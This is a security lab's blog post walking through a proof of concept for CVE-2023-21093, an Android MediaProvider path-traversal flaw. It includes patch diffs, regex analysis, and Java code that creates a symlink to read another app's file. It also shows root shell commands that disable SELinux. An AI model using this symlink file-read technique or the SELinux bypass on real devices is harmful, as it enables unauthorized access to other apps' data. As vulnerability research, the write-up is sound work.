Owl SEER Lab MiniBlog 1: CVE-2023-21093

Owl SEER Lab MiniBlog 1: CVE-2023-21093

Hello and welcome to the launch of the Owl Cyber Defense System Evaluation, Exploitation, and Research (SEER) Laboratory miniblog!

This is the very first in a line of forthcoming posts. We hope you find it educational and fun; we had a blast writing it!

**Please stay tuned as we will be releasing future blog posts in the future!**

## The Starting Line

Perusing the Common Vulnerabilities and Exposures (CVE) database (as one does), we stumbled across this gem: [CVE-2023-21093]:

“In extractRelativePath of FileUtils.java, there is a possible way to access files in a directory belonging to other applications due to a path traversal error. […]”

…hmm, the CVE record creation date was 03 November 2022.

The CVE was addressed in the April 2023 Android Security Bulletin. The bulletin yielded our starting point:

CVE References Type Severity Updated [Android Open Source Project] Versions
CVE-2023-21093 A-228450832 EoP High 11, 12, 12L, 13

As this was patched months ago, we decided to make a public proof of concept (POC) for learning purposes.
Tell your family and friends – **keep your stuff up to date!**

## The Race

Following the Android bug Identifier, A-228450832, we noticed an added line in the diff for the MediaProvider module that invoked the private method getCanonicalPath in the function extractRelativePath:

     public static @Nullable String extractRelativePath(@Nullable String data) {
+     data = getCanonicalPath(data);
      if (data == null) return null;
      final Matcher matcher = PATTERN_RELATIVE_PATH.matcher(data);
      if (matcher.find()) {
          final int lastSlash = data.lastIndexOf(‘/’);

The (newly) added definition of getCanonicalPath followed:

+    @Nullable
+    private static String getCanonicalPath(@Nullable String path) {
+       if (path == null) return null;
+       try {
+           return new File(path).getCanonicalPath();
+       } catch (IOException e) {
+           Log.d(TAG, “Unable to get canonical path from invalid data path: ” + path, e);
+           return null;
+       }
+    }

Of course, both the previous commit and the patched commit employed import java.io.File. So we reviewed its Application Programming Interface (API):

A canonical pathname is both absolute and unique. The precise definition of canonical form is system-dependent. This method first converts this pathname to absolute form if necessary, as if by invoking the getAbsolutePath() method, and then maps it to its unique form in a system-dependent way. This typically involves removing redundant names such as “.” and “..” from the pathname, resolving symbolic links (on UNIX platforms)

…So, if the method previously did *not* get the canonical path, then it permitted relative directories – i.e., .. and . – and symbolic links.

This was a source that we controlled, what was the sink?

LiveOverflow did a phenomenal video on sources and sinks!

The definition of extractRelativePath from the previous commit follows.

   public static @Nullable String extractRelativePath(@Nullable String data) {
        if (data == null) return null;
        final Matcher matcher = PATTERN_RELATIVE_PATH.matcher(data);
        if (matcher.find()) {
            final int lastSlash = data.lastIndexOf(‘/’);
            if (lastSlash == -1 || lastSlash < matcher.end()) {
                // This is a file in the top-level directory, so relative path is “/”
                // which is different than null, which means unknown path return “/”;
            } else {
                return data.substring(matcher.end(), lastSlash + 1);
        } else {
            return null;

The method extractRelativePath accepted a string, data above, and generated a Matcher via the matcher method of the pattern PATTERN_RELATIVE_PATH – where the latter accepted the string as input. So the matcher method of the pattern PATTERN_RELATIVE_PATH was our sink.

PATTERN_RELATIVE_PATH was the compiled regex Pattern (?i)^/storage/(?:emulated/[0-9]+/|[^/]+/). So we broke that down:

Note: PATTERN_RELATIVE_PATH did not change between commits.


(?i) = case-insensitive
^ = start of string or start of line
/storage/ = matching regex
(?: = non-capturing group opener; i.e., permit these but do NOT include on a match:
    emulated = non-capturing group
    / = a literal ‘/’
    [0-9]+ = at least one numeral from 0-9
    / = trailing ‘/’
    | = regex OR
    [^/]+ = at least one (greedy) non-‘/’ character
    / = trailing ‘/’
) = non-capturing group closer

We needed to request access to a resource that:

  1. started with /storage/,
  2. either immediately continued with emulated/[0-9]/, where the inclusive group [0-9] occurred at least once and ended with ‘/’,
  3. or immediately continued with a non-/ and ended with a /.

Simply stated, we needed the resource to start with /storage/, contain literally any non-/ character, and end with a /.

The emulated[0-9] portion was particularly interesting since MediaProvider cannot reach /storage/emulated or /storage/emulated/, see previous commit and patched commit.

Hmm, so perhaps something as simple as a request to access something like /storage/../data/data/?

Well, maybe… Utilizing the wonderful site pythex, we observed that our posited resource would match:

…but the method extractRelativePath did not utilize the entirety of its data string argument. Assuming a successful match on the find method of the generated Matcher, the method extractRelativePath located the index of the final / in the data string argument via the lastIndexOf method. If the data string argument did not contain a /, the index (lastSlash above) was set to -1. If the data string argument did contain a /, lastSlash became the index of the final / in the data string argument. If either lastSlash was -1 or if / was not the terminating character of the matcher, as specified by the condition lastSlash < matcher.end(), extractRelativePath returned /. Otherwise, extractRelativePath returned the substring of the data string argument from the first character after the match to lastSlash + 1.

See here for the definition of the end method of a Matcher.

Nested conditionals are so much fun to explain in prose! /s

Alright, so it seemed we could get extractRelativePath to return a path that arbitrarily traversed *as long as* it started with /storage/ and ended with a /.

We happened to have access to an unpatched Android 11 device, so we fired up Android Studio and created a ‘Basic Views Activity’ Android Application Package (APK) targeting API 30: Android 11.0.

Spoiler alert: Since Android 11 changed to enforcing scoped storage, we eventually shifted to targeting API 29: Android 10 and requesting legacy external storage.

In our build.gradle(:app), we included the following:

defaultConfig {
    minSdk 30
    //noinspection ExpiredTargetSdkVersion
    targetSdk 29
Note the required annotation because Google Play requires that APKs target API 31+, as of this post.

In our AndroidManifest.xml, via this, we included the following:

  [. . .]
    [. . .]
    [. . .]

We almost forgot to manually grant the READ_EXTERNAL_STORAGE permission to the APK in ‘Settings > Apps & Notifications > cve202321093poc > Permissions > Files and media.’ Since we installed the APK via Android Studio, this was a required step.

We created a non-empty file /storage/emulated/0/seer.txt via an adb shell:

$ echo seeris1337 > /storage/emulated/0/seer.txt
$ ls -l /storage/emulated/0/seer.txt
-rw‐‐‐‐‐‐‐ 1 u0_a126 u0_a126 11 2023-07-17 12:45 seer.txt

Note the permissions on /storage/emulated/0/seer.txt. It was octal 600 for u0_a126, but who was that?

# su u0_a126
$ id
uid=10126(u0_a126) gid=10126(u0_a126) groups=10126(u0_a126),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028
3009(readproc),3011(uhid) context=u:r:su:s0

An AID in the 10000-19999 range is an application user. A quick check on a nearby rooted phone revealed it was the Application Identifier (AID) for the Media module.

# grep 126 /data/system/packages.list
com.android.providers.media.module 10126 0 /data/user/0/com.android.providers.media.module media:privapp:targetSdkVersion=30 1077,1065,3007 0 30


Back to work, though – we added the following to onClick in our Android Studio project:

Uri uri = Uri.fromFile(new File(“/storage/../storage/emulated/0/seer.txt”));
try {
    ContentResolver r = getApplicationContext().getContentResolver();
    Log.d(“SEER1337 uri”, uri.toString());
    ParcelFileDescriptor pfd = r.openFile(uri, “r”, null);
} catch (FileNotFoundException e) {
    Log.d(“SEER1337 error”, e.toString());

When accessing on a vulnerable version of Android, MediaProvider seemed to throw an IOException:

…as noted here.

When accessing on a patched version of Android, MediaProvider seemed to throw either an IllegalStateException or a SecurityException:

…as noted here.

For the unfamiliar, Java can catch multiple exceptions with a single catch.

Interestingly, both paths were canonicalized… We must have not hit the desired code path – i.e., we did not trigger extractRelativePath. hmm…

## The Finish Line

We seemed to have hit a brick wall. So, back to the beginning. We re-read the Java File API:

[…] resolving symbolic links

We had tried a lot of alternatives with relative paths. So we shifted to symbolic links. We also wanted to guarantee we genuinely had file read access, so we modified our onClick to the following:

try {
    try {
        int symlink = Runtime.getRuntime().exec(new String[]{“ln”, “-sfn”, “/storage/emulated/0/seer.txt”, getApplicationContext().getExternalFilesDir(null)+ “/blah”}).waitFor();
        if (symlink == 0) {
            Log.d(“SEER1337 ln exit”, “link created”);
        } else {
                Log.d(“SEER1337 ln exit”, “link failed with exit status ” + String.valueOf(symlink));
    } catch (IOException e) {
        throw new RuntimeException(e);
    } catch (InterruptedException e) {
        throw new RuntimeException(e);

    EditText inputText = new EditText(getApplicationContext());
    String myData = “”;
    try {
        FileInputStream fis = new FileInputStream(new File(getApplicationContext().getExternalFilesDir(null) + “/blah”));
        DataInputStream in = new DataInputStream(fis);
        BufferedReader br = new BufferedReader(new InputStreamReader(in));
        String strLine;
        while ((strLine = br.readLine()) != null) {
            myData = myData + strLine;
    } catch (IOException e) {
    if (!myData.equals(null)) {
        Log.d(“SEER inputText”, inputText.getText().toString());
} catch (SecurityException se) {
    Snackbar.make(view, se.toString(), Snackbar.LENGTH_INDEFINITE)
        .setAction(“Action”, null).show();
    Log.d(“SEER1337 secerror”, se.toString());

Due credit to Anupam Chugh at DigitalOcean for the file-reading boilerplate.

If we saw the file contents in logcat under the tag SEER inputText, we were golden. We ran the APK and…

Boo! SELinux in Android blocked us!

Unsurprisingly, the target device was rooted. So we disabled it:

# getenforce
# setenforce 0
# getenforce

We tried, again, and…

Who brought cake?!

Let us review what we accomplished.

Android sandboxes all applications using Linux User Identifiers (UIDs), commonly known as AIDs on Android. Let us review permissions on the two relevant files:

# ls -l /storage/emulated/0/Android/data/com.seer.cve202321093java/files/blah
lrwxrwxrwx 1 u0_a142 ext_data_rw 34 2023-07-21 12:06 /storage/emulated/0/Android/data/com.seer.cve202321093java/files/blah -> /storage/emulated/0/seer.txt
# su u0_a142
$ id
uid=10142(u0_a142) gid=10142(u0_a142) groups=10142(u0_a142),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028
3009(readproc),3011(uhid) context=u:r:su:s0# ls -l storage/emulated/
total 8
drwxrwx— 14 media_rw media_rw 4096 2023-08-30 10:45 0
# ls -l /storage/emulated/0/seer.txt
-rw——- 1 u0_a126 u0_a126 11 2023-07-17 12:45 /storage/emulated/0/seer.txt

The POC APK symlink, /storage/emulated/0/Android/data/com.seer.cve202321093java/files/blah, was a mode 777 symbolic link with the POC APK as owner and app-private data directories on external storage as group.

The target file, /storage/emulated/0/seer.txt, had octal 600 permissions for the Media module AID.

Note how the AID of the APK (10142) did not share any groups with the media provider (10126). This is the key – we accessed a file owned by another AID in a directory owned by another AID.

## Conclusion

So what did we do? We created a POC that exploited** CVE-2021-21093.

* …as long as you can publish an expired targetSdk to the Android Play Store

* …andddddd the target has SELinux in permissive mode

Is this groundbreaking? No.

But this article demonstrated the CVE POC process we employ:

  1. Find an attractive CVE
  2. Research, research, research!
  3. Play with the code until it does what you need
  4. Document all the things!

If you made it this far and find yourself or your company in need of deep technical, offensive requirements, reach out to us!

Thank you for reading! Remember to check back in as we plan to publish more posts!

/Owl Cyber Defense SEER Lab

P.S. Random fun fact: while developing this POC, we discovered the hidden API content://media/. Even more fun, we learned we were not the first!

Insights to your Inbox

Stay informed with the latest cybersecurity news and resources.

Reduce Cyber Stress (at least at work) by Implementing Data Diode Enforced Segmentation

In today's digital age, cybersecurity professionals play a crucial role in ensuring the safety and security of an organization's sensitive information. With the rise of cyberattacks, it's...
April 20, 2023

Owl Spotlight : Richard Alther

The Owl Cyber Defense Employee Spotlight is our way of highlighting some of the incredibly talented individuals that we’re lucky enough to have on our team. At Owl, we recognize our peo...
May 27, 2022

Owl Spotlight : Nathan Gorka

The Owl Cyber Defense Employee Spotlight is our way of highlighting some of the incredibly talented individuals that we’re lucky enough to have on our team. At Owl, we recognize our peo...
May 18, 2022